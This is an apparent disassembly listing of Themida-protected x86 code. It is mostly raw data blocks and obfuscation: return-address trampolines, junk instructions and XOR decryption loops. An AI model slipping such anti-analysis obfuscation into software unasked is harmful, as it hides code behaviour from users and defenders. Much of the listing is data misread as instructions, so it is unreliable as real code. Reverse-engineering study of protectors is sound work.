add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5D15B1 endp
; ---------------------------------------------------------------------------
db 60h, 0EAh, 50h
; ---------------------------------------------------------------------------
jmp loc_5D15CE
; ---------------------------------------------------------------------------
db 58h, 74h, 21h
db 9Ah, 0Eh
; ---------------------------------------------------------------------------
loc_5D15CE: ; CODE XREF: Themida_:005D15C4j
mov [esp], eax
push 0
push ebp
call sub_5D15DC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D15DC proc near ; CODE XREF: Themida_:005D15D4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5D15DC endp
; ---------------------------------------------------------------------------
dd 7A4D62E3h, 4068A6DEh, 0BF006A42h, 44C25ECEh, 10E5EF68h
dd 6E997h, 6C990000h, 0AE877A4h, 10240481h, 6A690E1Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 8114C355h, 910DC6EBh, 6820F32h, 8B000000h
dd 0FA1D51BDh, 0E995FF07h, 8B07FA1Ch, 0FA1525BDh, 96858907h
dd 8107FDEBh, 0C9D10BF7h, 1FDE937h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5895BC3h
dd 7FA189Dh
; ---------------------------------------------------------------------------
loc_5D1680: ; CODE XREF: Themida_:005D1569j
mov eax, [ebp+7FDEB8Eh]
push 0
push ebx
call sub_5D1691
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1691 proc near ; CODE XREF: Themida_:005D1689p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5D1691 endp
; ---------------------------------------------------------------------------
db 3Fh, 0EAh, 7Dh
; ---------------------------------------------------------------------------
add al, 60h
mov dword ptr [eax], 18h
pusha
or [ebp+7FA3211h], eax
add edx, 5885D509h
popa
mov esi, [ebp+7FDEB92h]
sbb bl, 0EBh
mov [ebp+7FA22BDh], edx
mov eax, [ebp+7FA0D51h]
push 0
push ebp
call sub_5D16DA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D16DA proc near ; CODE XREF: Themida_:005D16D2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5D16DA endp
; ---------------------------------------------------------------------------
dw 0A18Fh
dd 689F9EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 6DC35545h, 0BA6660CFh, 68B35682h, 0E9858B61h, 8007FA0Fh
dd 4689C9CFh, 41950104h, 9607FA2Fh, 8B666053h, 14E8CFh
dd 33BC0000h, 28CBD455h, 2FA3C254h, 93759CDDh, 0D5E44906h
dd 615AF7E0h, 2ABB505Fh, 9607C62Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 87C35242h, 0B99E9C70h, 9686BF66h
dd 0EB8EB5FFh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0DD84B6C3h, 10E99813h, 89000000h
dd 2B551838h, 395BE0C9h, 9C7101F9h, 897FF3C9h, 0FA0F81B5h
dd 8C5D6807h, 52508805h, 547CF0BFh, 0E8310F54h, 0Eh, 0AAFE82CEh
dd 510386DFh, 6526F33Ah, 7E8D34Fh, 0D8000000h, 8C66B3A9h
dd 5B5BBE7Eh, 481585Ah, 1977A224h, 56006A78h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0FE55FDE3h
dd 0B41A749Bh, 4CF8166h, 96858DEBh, 6A07FDEBh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 6623C356h, 50C640BFh, 0CE9h, 0F36B4000h, 688BAB01h
dd 0CFA4840Fh, 240489D6h, 1CE995FFh, 816607FAh, 616006D7h
dd 0BF6640B7h, 85C765E3h, 7FA2BD9h, 3, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 4FC35040h, 84F299FFh, 23F0D2D9h
dd 0BEEF80E7h, 0EB96BD83h, 0F0007FDh, 3884h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 6E990h, 0E3640000h, 22A91906h, 27E9h, 68A0F00h, 8B000000h
dd 0FA0FC9BDh
; ---------------------------------------------------------------------------
pop es
loc_5D18D9: ; CODE XREF: Themida_:005D152Cj
; Themida_:005D18F0j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5D18D9
jmp short loc_5D192A
; ---------------------------------------------------------------------------
loc_5D18F4: ; CODE XREF: Themida_:005D190Bj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5D18F4
jmp short loc_5D192A
; ---------------------------------------------------------------------------
loc_5D190F: ; CODE XREF: Themida_:005D1926j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5D190F
jmp short $+2
loc_5D192A: ; CODE XREF: Themida_:005D18F2j
; Themida_:005D190Dj
mov eax, eax
push 0
push esi
call sub_5D1937
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1937 proc near ; CODE XREF: Themida_:005D192Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5D1937 endp
; ---------------------------------------------------------------------------
lodsd
mov edi, 7F3A2664h
cmp dword ptr [ebp+7FA2BD9h], 3
jnz loc_5D1DDD
js loc_5D1968
pusha
add edi, [ebp+7FA27EDh]
popa
loc_5D1968: ; CODE XREF: Themida_:005D195Aj
cmp dword ptr [ebp+7FDEB96h], 0
jz loc_5D1DDD
mov bx, ax
push dword ptr [ebp+7FDEB96h]
mov [ebp+7FA227Dh], esi
call dword ptr [ebp+7FA2745h]
sbb ebx, 1E5AD030h
mov esi, [ebp+7FDEB8Ah]
mov edi, 67459F23h
mov dword ptr [esi], 10001h
push 0
push edi
call sub_5D19AC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D19AC proc near ; CODE XREF: Themida_:005D19A4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5D19AC endp
; ---------------------------------------------------------------------------
dd 0ED9D31F9h, 9607FA1Dh, 0DE8h, 2E55ED00h, 6E88082Bh
dd 49BD9E78h, 8A60CA41h, 616160E6h, 6A96505Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 80D0C352h, 11E9D9CFh, 55000000h, 78E22797h, 0C5FDD3E2h
dd 304A1289h, 0C71C48FEh, 0EB96B5FFh, 6A07FDh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 50418FC3h, 0D9F3C37Ah, 0CB99D8Bh, 95FF07FAh, 7FA18E1h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3EC35343h
dd 0C6FE86E0h, 0BE8B304h, 9A000000h, 4F8707ADh, 2FE51FE5h
dd 8B0F928Fh, 16h, 11E9h, 0F9022100h, 748BC744h, 0B43798Ah
dd 0E66E0E13h, 8B5F4DC7h, 0FDEB8AB5h, 0E9DB8007h, 1C7D858Bh
dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0EC472DC3h, 0BF49A384h, 0EE9A23Bh, 1A000000h
dd 1173B1C7h, 0AF7DFA1h, 0C281D6CBh, 858B604Eh, 7FA0CCDh
dd 5E9h, 87672300h, 8961E7EFh, 0C486h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0DF530368h, 0C3B3F489h, 0F56023FAh, 2F1858Bh, 8B6107FAh
dd 0FA1CD995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 6EFF2EA1h, 0F51BCC5h
dd 385h, 0DEBF0F00h, 1079BD8Bh, 0C28307FAh, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 860FBE94h, 6, 31218D31h, 508907FAh, 96CF8120h, 8D373FF1h
dd 0FDFEF785h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 8B60A7C1h, 0FA0D71B5h
dd 29953107h, 6107FA18h, 0B88689h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 63B314C3h
dd 3C4A391h, 0EF81E90Fh, 4E2C6E96h, 116D9D33h, 6A07FAh
dd 0EB96B5FFh, 816607FDh, 0FFB8E3F7h, 0FA1C9595h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 430E8ED5h, 5C881676h, 0F381662Fh, 0BD2B7CA0h, 7FA0F2Dh
dd 1772F781h, 60961B8Ah, 0E02CBF66h, 12E9h, 77229A00h
dd 0D065F126h, 0BCCFEA01h, 638B3483h, 612FCB29h, 0BB525050h
dd 198E1080h, 585A310Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 3EAEDE7h, 603BB5D5h, 2860FCAh
dd 8B000000h, 96B5FFDEh, 0FF07FDEBh, 0FA1D9595h, 5E907h
dd 0EEC40000h, 834BEBB2h, 0FA0131BDh, 840F0007h, 0Fh, 5296DE8Ah
dd 505B58B3h, 0E5852996h, 0FF07FA24h, 0FDEB96B5h, 0D3816607h
dd 95FF0C5Dh, 7FA1CB5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 4DC35343h, 5499D09h, 0B5FF07FAh, 7FDEB96h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 66C35646h
dd 0E9A9D802h, 14h, 0FEBD05CBh, 28CC7F33h, 8D9FA65Fh, 5174C8EDh
dd 86E7D5C5h, 0FFD98B66h, 0FA21AD95h, 35BB6607h, 21BD835Bh
dd 207FA22h, 58840Fh, 0BD8B0000h, 7FA11A9h, 1615858Bh
dd 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 262098C3h, 4D858944h, 0C607FA0Dh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 21F815C3h, 0C30B13B6h, 85C7A2D2h, 7FA16DDh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5D1DBF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1DBF proc near ; CODE XREF: Themida_:005D1DB7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5D1DBF endp
; ---------------------------------------------------------------------------
db 7Ah
dd 750089B3h, 0B57DB51Fh, 33E78166h
db 0F0h
; ---------------------------------------------------------------------------
loc_5D1DDD: ; CODE XREF: Themida_:005D1954j
; Themida_:005D196Fj ...
jmp near ptr dword_5D1170+39h
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5D1DED
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1DED proc near ; CODE XREF: Themida_:005D1DE5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5D1DED endp
; ---------------------------------------------------------------------------
and byte ptr ds:0EC8021DAh, 2Fh
sub al, 89h
mov ebp, 7FA0EC1h
mov eax, ecx
mov bl, ch
lea eax, [ebp+7FA0199h]
mov ebx, [ebp+7FA2F41h]
push eax
mov edi, eax
mov [esp], eax
jmp loc_5D1E38
; ---------------------------------------------------------------------------
dw 9306h
dd 0AFD03369h, 0D0F38CF1h, 0EAFDD6EFh, 389F2B33h
; ---------------------------------------------------------------------------
loc_5D1E38: ; CODE XREF: Themida_:005D1E21j
push 0
push 0
push edx
call sub_5D1E45
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1E45 proc near ; CODE XREF: Themida_:005D1E3Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5D1E45 endp
; ---------------------------------------------------------------------------
jmp short loc_5D1DDD
; ---------------------------------------------------------------------------
db 87h
dd 53D9F7C4h, 6A90F2CDh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 5E20280h, 858D336Eh, 7FEEBC4h
dd 0F98B6653h, 46BF665Bh, 5C08336h, 18599D03h, 895007FAh
dd 8D0F2404h, 15h, 10E9h, 0E55E0900h, 0EA86C438h, 0F9EC0A6Eh
dd 7C6157FEh, 60006A45h, 80CEB060h, 0BB610CC7h, 2410F86Ch
dd 0DF816661h, 6A3B13h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 9AC35242h, 13EEC771h, 95FF3163h, 7FA2BE9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D9C35242h
dd 9FFBB422h, 8D8D1F88h, 7FDD711h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0DAC35040h, 91CF81E1h, 23657A07h
dd 0FA18D1BDh, 0FD1FF07h, 1385h, 0EE900h, 3D3F0000h, 292E832Eh
dd 0F98F5CE8h, 3B728F0Fh, 33EDBD83h, 0F0107FAh, 9485h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 7983EFC3h, 6A026A2Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F764C355h
dd 0FE93679h, 12000000h, 0A0E171Dh, 3DB8A28Ch, 1C9553A1h
dd 8A903482h, 0DD8A50D8h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 40A6C600h
dd 68C0F90h, 9000000h, 0FA26B5B5h, 9595FF07h, 8B07FA1Ch
dd 0FA1F21BDh, 0DF1E907h, 0E80000h, 5D000000h, 0EBCEED81h
dd 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 950912C3h, 7FA0675h, 6870Fh, 0BD890000h
dd 7FA2D71h, 0B959858Dh, 9D8907FDh, 7FA1CF5h, 0B810Fh
dd 1600000h, 0FA0C858Dh, 0F8BF0F07h, 0BBF9061h, 50191FCDh
dd 310F5250h, 585A5B57h, 559D8B90h, 6407FA14h, 35FFh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 10C2FBC3h, 0E99D8B2Ah, 6407FA2Ah, 2589h, 0FFF80000h
dd 0FA104985h, 6AFF6A07h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 8B59C356h, 0FA0EE9BDh
dd 299D8B07h, 0FF07FA26h, 0FA112DB5h, 0F98B5707h, 95FFF95Bh
dd 7FA2875h, 123E9h, 0D19D8B00h, 0B007FA0Ah, 0FABF0F00h
dd 0EE970E6h, 0E000000h, 0E1BCF584h, 0F424DC85h, 18B9092Ch
dd 5171E41Ch, 26E9C3BFh, 613C5B44h, 0F2830Fh, 0B5310000h
dd 7FA20B1h, 2553F9BFh, 0C8B60F57h, 0C14EF0BFh, 6BA17h
dd 0BF0F0000h, 60C18BDBh, 0BE9h, 8FC37600h, 5B0E96E6h
dd 0B138289Fh, 1479B501h, 0C16107FAh, 87BF04E8h, 6640092Fh
dd 0BD0BE2F7h, 7FA21D5h, 0F781C82Bh, 0D166713h, 0FC60D18Bh
dd 29559501h, 0E96107FAh, 94h, 858BDA8Bh, 8, 0BD89DA8Ah
dd 7FA076Dh, 2907C083h, 0FA2275B5h, 69BD8B07h, 8307FA2Ah
dd 860F00C0h, 2, 0D03BF98Bh, 0D830Fh, 0FB8B0000h, 5BE9h
dd 19BD3300h, 8B07FA25h, 0FFFFFF8Dh, 0EE8FFh, 52CC0000h
dd 2B24F137h, 0B0E0F81Eh, 103D61E6h, 0D3D38166h, 0E1835F43h
dd 2D840F01h, 0E9000000h, 6, 2DF1FE8Bh, 0A58315BAh, 0FFFFFFFFh
dd 0BE9FEh, 0B93C0000h, 98652915h, 0FD50DA2Ah, 89589B4h
dd 0E9000000h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FE6569h]
sbb bx, 0BE35h
push 0
mov ebx, [ebp+7FA2B95h]
call dword ptr [ebp+7FA1019h]
push 0
push ebp
call sub_5D2238
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2238 proc near ; CODE XREF: Themida_:005D2230p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5D2238 endp
; ---------------------------------------------------------------------------
add ch, 1Eh
ror byte ptr [edi+16499D09h], cl
cli
pop es
mov edi, [ebp+7FA07CDh]
mov ecx, 0FE9h
push 0
push ebp
call sub_5D2269
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2269 proc near ; CODE XREF: Themida_:005D2261p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5D2269 endp
; ---------------------------------------------------------------------------
imul ecx, [edx-744BEEA4h], 0FCE183D8h
mov edi, [ebp+7FA02C1h]
cld
sub [ebp+7FA2C9Dh], eax
mov eax, 0
push 0
push eax
call sub_5D22A0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D22A0 proc near ; CODE XREF: Themida_:005D2298p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5D22A0 endp
; ---------------------------------------------------------------------------
mov dl, 65h
push ebx
pop ecx
adc eax, 76D9D01h
cli
pop es
mov di, 0A802h
sub edx, edx
push 0
push edx
call sub_5D22CC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D22CC proc near ; CODE XREF: Themida_:005D22C4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5D22CC endp
; ---------------------------------------------------------------------------
push edi
lodsd
and byte ptr [eax-75h], 0D0h
movzx esi, ax
popa
loc_5D22E6: ; CODE XREF: Themida_:005D22F0j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D22E6
push 0
push edi
call sub_5D22FD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D22FD proc near ; CODE XREF: Themida_:005D22F5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5D22FD endp
; ---------------------------------------------------------------------------
db 0B0h, 0F6h, 3Bh
dd 5668EC6Bh, 81669FE1h, 60164FD3h, 9E9h, 5118F00h, 0E538EC5Bh
dd 8B0F2E12h, 6, 153DB58Bh, 6A6107FAh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 32F0C355h
dd 0E2441EDFh, 880D34A7h, 60000000h, 0F2BF0FF5h, 0D9958B61h
dd 6A07FA1Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 0FA38C352h, 800F26CAh, 12h, 0CE8h
dd 4B6A8A00h, 0A8904721h, 4201F8F5h, 8D8B5F80h, 7FA31ADh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8CC35242h
dd 0C283E288h, 10D78166h, 0ED8589F6h, 5007FA2Eh, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0B5BD8B58h, 8B07FA33h
dd 0FA294DBDh, 29BD8307h, 7FA2Ah, 7E840Fh, 0BB660000h
dd 0B876F4h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 53D1C356h, 0D3827505h
dd 8D113F9Dh, 0FA4F668Dh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2400D289h
dd 0CA2E7248h, 6890Fh, 9D2B0000h, 7FA11A1h, 1C499D8Bh
dd 0E1FF07FAh, 0FE9h, 81047C00h, 0A622E3E0h, 0E92DE624h
dd 7FBC4B97h, 2BD9BD83h, 0F0007FAh, 45784h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 57ADDF57h, 2781BD09h, 835B07FAh, 0FA2BD9BDh, 840F0107h
dd 43Fh, 0A6D9D8Bh, 83F907FAh, 0FA2BD9BDh, 860F0307h, 3F5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 21C35343h
dd 4C7B690Bh, 37EDE2DAh, 0A19D8B52h, 0B707FA10h, 860F60DCh
dd 4, 0D4CEBB66h, 13E8h, 6E99D300h, 0CEC7917Fh, 533CC000h
dd 0CAEDC7C6h, 51AFB01Fh, 0ACE38166h, 8C665BA4h, 53006AD9h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0DC874EE5h, 29068C2Eh, 0FA1495BDh, 4E18007h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A6C35545h, 840FC90Ah
dd 153h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0BAC35343h, 89B1FFF7h, 0FA26D98Dh, 0EE907h, 95000000h
dd 747E228Bh, 14A014FFh, 0F6EC19A3h, 0FE9858Bh, 0BF0F07FAh
dd 0FBBF0FFBh, 15E18533h, 8BF507FAh, 0DE8A90FEh, 0CDBB6650h
dd 6A90DDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 3E8B21C3h, 0B09BFACBh, 6E9EBh, 6EDD0000h
dd 5301CB7Bh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0A8ABB0C3h, 0C1F76806h, 4EBB9AB5h
dd 817A9382h, 42082404h, 6A6569h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0A9C107C3h, 4C31C9BAh
dd 0E8151308h, 0Fh, 6EAC22A1h, 905287B4h, 4B14C88Dh, 8BA2C39Bh
dd 0FA2C419Dh, 0BB665F07h, 95FF692Bh, 7FA1CE9h, 0E780FE8Bh
dd 96858981h, 6A07FDEBh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 4DFDC353h, 118749BBh
dd 729A74Dh, 0CE8h, 3C80D100h, 526C7F93h, 0C7B63D17h, 850F9Dh
dd 5F000000h, 1B5E9h, 759D8900h, 8B07FA2Fh, 0FDEB8E85h
dd 0C7F807h, 18h, 8BFE8B66h, 0FDEB92B5h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8B278D89h, 0FA0D5185h, 8EBB6607h, 6A0689BEh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 5AAEC353h, 0C380C7ADh, 0E3BF6608h, 0E9858B6Dh, 6A07FA0Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0D8C1C352h, 8A724F1Eh, 89FA8BD8h, 95890446h
dd 7FA0091h, 0F0FEBF50h, 348949EBh, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FDB7313h
dd 684h, 899D8B00h, 0F07FA01h, 1789h, 6E800h, 8F770000h
dd 7B252DEAh, 6E9h, 74864600h, 5B727BC7h, 0EB8EB5FFh, 6A07FDh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 4E826C3h, 0FF000000h, 50001F03h, 6919BB51h, 8B5F346Ah
dd 60042444h, 615A5360h, 89008B61h, 58042444h, 858DF88Bh
dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 83C35040h, 166A77C6h, 32D10914h, 2145BD89h, 669007FAh
dd 5002C4BFh, 0FC6070BFh, 8B669032h, 0E995FFDFh, 6A07FA1Ch
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0AF31C356h, 0E9D58F88h, 0Bh, 0FC2DCBF7h
dd 0EA309640h, 0F9807E8h, 582h, 0CB816600h, 81615A59h
dd 275F10EBh, 183BF08h, 85C71BA7h, 7FA2BD9h, 3, 1F39B589h
dd 0BD8307FAh, 7FDEB96h, 22840F00h, 0FC000000h, 37E9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0C30509Ah, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0B5C35545h, 90142F24h, 6A5F57h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 680FFCC3h, 96F32AE3h, 11E96CB1h, 69000000h, 59132C76h
dd 56597255h, 656E5F60h, 0F6CD0F07h, 24DDBD29h, 0BD8307FAh
dd 7FA2BD9h, 20850F03h, 81000004h, 0E1BD39F7h, 96BD8367h
dd 7FDEBh, 40D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 30E94CC3h, 8B2AD780h
dd 0FA2B3DBDh, 96B5FF07h, 6A07FDEBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3A54C352h
dd 66FB1998h, 0FFAE16BBh, 0FA274595h, 4D858907h, 0FC07FA0Dh
dd 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0BF712FC3h, 282B0800h, 106C7h, 6A0001h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 7123FAC3h, 0E94995EEh, 60ADCA6Bh, 177DB58Bh, 296107FAh
dd 0FA0D718Dh, 52505007h, 52505250h, 585A310Fh, 8B66310Fh
dd 0F585AF9h, 5A98B331h, 24348958h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 1CC35141h, 0A9189CEAh, 519D33F3h
dd 0FF07FA31h, 0FDEB96B5h, 0FEB70F07h, 18E195FFh, 8B6007FAh
dd 0FA007D8Dh, 0E5952907h, 6107FA30h, 0EB8AB58Bh, 0FE907FDh
dd 0FC000000h, 0E5DEEB37h, 3B94B6B8h, 884DF861h, 858B83BDh
dd 7FA1C7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0AAC35141h, 2724EDD1h, 4585D0A9h, 183DBD23h, 868907FAh
dd 0C4h, 5E9h, 0AF493300h
dd 958B0090h, 7FA1CD9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0C1C35040h, 33B55D49h, 8B846EFCh, 0FA1C999Dh
dd 4C28307h, 2CEF8166h, 2050891Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 5CC35545h, 0B531C29Bh, 7FA24A5h
dd 0FEF7858Dh, 858907FDh, 7FA0651h, 0B88689h, 0DAB70000h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0E77D1FC3h, 6850F7Eh, 8B000000h, 0FA3495BDh
dd 96B5FF07h, 6607FDEBh, 95FFDE8Bh, 7FA1C95h, 8CCF8166h
dd 606050EBh, 0D18A5FB3h, 52BA6661h, 3489615Eh, 0B5FFF924h
dd 7FDEB96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 6CC35545h, 8E0FAF93h, 2, 95FFF88Bh, 7FA1D95h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6FC35747h, 62ABF236h
dd 9896B8C5h, 31BD83C5h, 7FA01h, 6D840Fh, 8B0F0000h, 6
dd 24A99D8Bh, 8D0F07FAh, 6, 26E99529h, 509607FAh, 8D0F5250h
dd 5, 8A2369BFh, 0E8310F54h, 9, 0F2F669FCh, 0EE57C56Bh
dd 0FE9E3h, 0D0C50000h, 9F84E8A1h, 4866279Bh, 1EE8CB14h
dd 585A5F1Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0FF33A049h, 0FDEB96B5h, 0FE907h
dd 7E3A0000h, 18F2C55Ch, 8A00B82Fh, 0BE224B3Dh, 0B595FFD3h
dd 6007FA1Ch, 0FCA8B66h, 689h, 71858900h, 6107FA08h, 0EB96B5FFh
